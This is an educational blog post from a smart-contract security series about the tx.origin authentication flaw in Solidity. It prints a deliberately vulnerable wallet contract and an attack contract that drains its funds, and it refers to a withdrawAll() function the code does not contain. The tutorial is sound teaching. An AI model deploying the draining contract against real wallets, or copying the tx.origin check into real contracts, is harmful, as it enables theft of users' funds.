Detailed analysis of authentication with tx.origin

by ImmuneBytes
DETAILED ANALYSIS OF AUTHENTICATION WITH TX.ORIGIN

It’s Thursday and we are back with the next part of our series All About Smart Contract Bugs & Security – A cakewalk series, talking about Tx.origin Authentication, one of the most common vulnerabilities found in smart contracts. 

Do check out the other parts in the series wherein we talk about Uninitialized Storage Parameters, Race conditions, Lost Ether in a Transfer, and many other bugs that have proven to weaken smart contracts.

What is Tx.origin?

tx.origin is a global variable in Solidity that returns the address of the account that sent the transaction. 

tx.origin walks up the call stack and tells you who originated your call. It refers to the original external account that started the transaction. Using the variable for authorization could make a contract vulnerable if an authorized account calls into a malicious contract. 

Let’s say, a call could be made to the vulnerable contract that passes the authorization check since tx.origin returns the original sender of the transaction which in this case is the authorized account.

An example of how authentication with tx.origin can harm a smart contract?

Consider a smart contract “TxUserWallet” code that has a tx.origin bug, let’s take a look at how it can possibly be exploited by attackers for their own profit.

contract TxUserWallet {

    address owner;

    constructor() public {

        owner = msg.sender;

    }

    function transferTo(address payable dest, uint amount) public {

        require(tx.origin == owner);

        dest.transfer(amount);

    }

}

Observe that this contract authorises the withdrawAll() function using tx.origin. This contract enables an attacker to create an attacking contract of the form-

pragma solidity ^0.6.0;

interface TxUserWallet {

    function transferTo(address payable dest, uint amount) external;

}

contract TxAttackWallet {

    address payable owner;

    constructor() public {

        owner = msg.sender;

    }

    receive() external payable {

        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);

    }

}

By checking tx.origin, it gets the original address that kicked off the transaction, which is still the owner’s address. The attack wallet instantly drains all your funds. 

Smart contracts that provide authentication using the tx.origin variable are usually vulnerable to phishing attacks which may trick users into performing authenticated actions on the vulnerable contract. 

Preventive Measures

As mentioned above, it is not advisable to use tx.origin for authentication purposes but that doesn’t mean tx.origin doesn’t have a use case at all. Take a look at how you can use this Solidity variable.

For example, if a user wants to deny external contracts from calling the current contract, they could implement a requirement of the from require(tx.origin == msg.sender). This prevents intermediate contracts from being used to call the current contract, limiting the contract to regular code-less addresses.

This was a detailed analysis of tx.origin and how its usage can affect your smart contract’s performance. However, there exist no such real-world attacks within the scope of our knowledge, yet. We hope this helps you in avoiding such mistakes while developing your smart contract. 

Connect with our team to get your smart contract audit and be free of any such vulnerabilities and loopholes that can invite hackers to your doorstep.

Tune in next Thursday for Part-XII of this series wherein we discuss External contract referencing.

Additional Resource: Most Popular Smart Contract Vulnerabilities

Spread the love

You may also like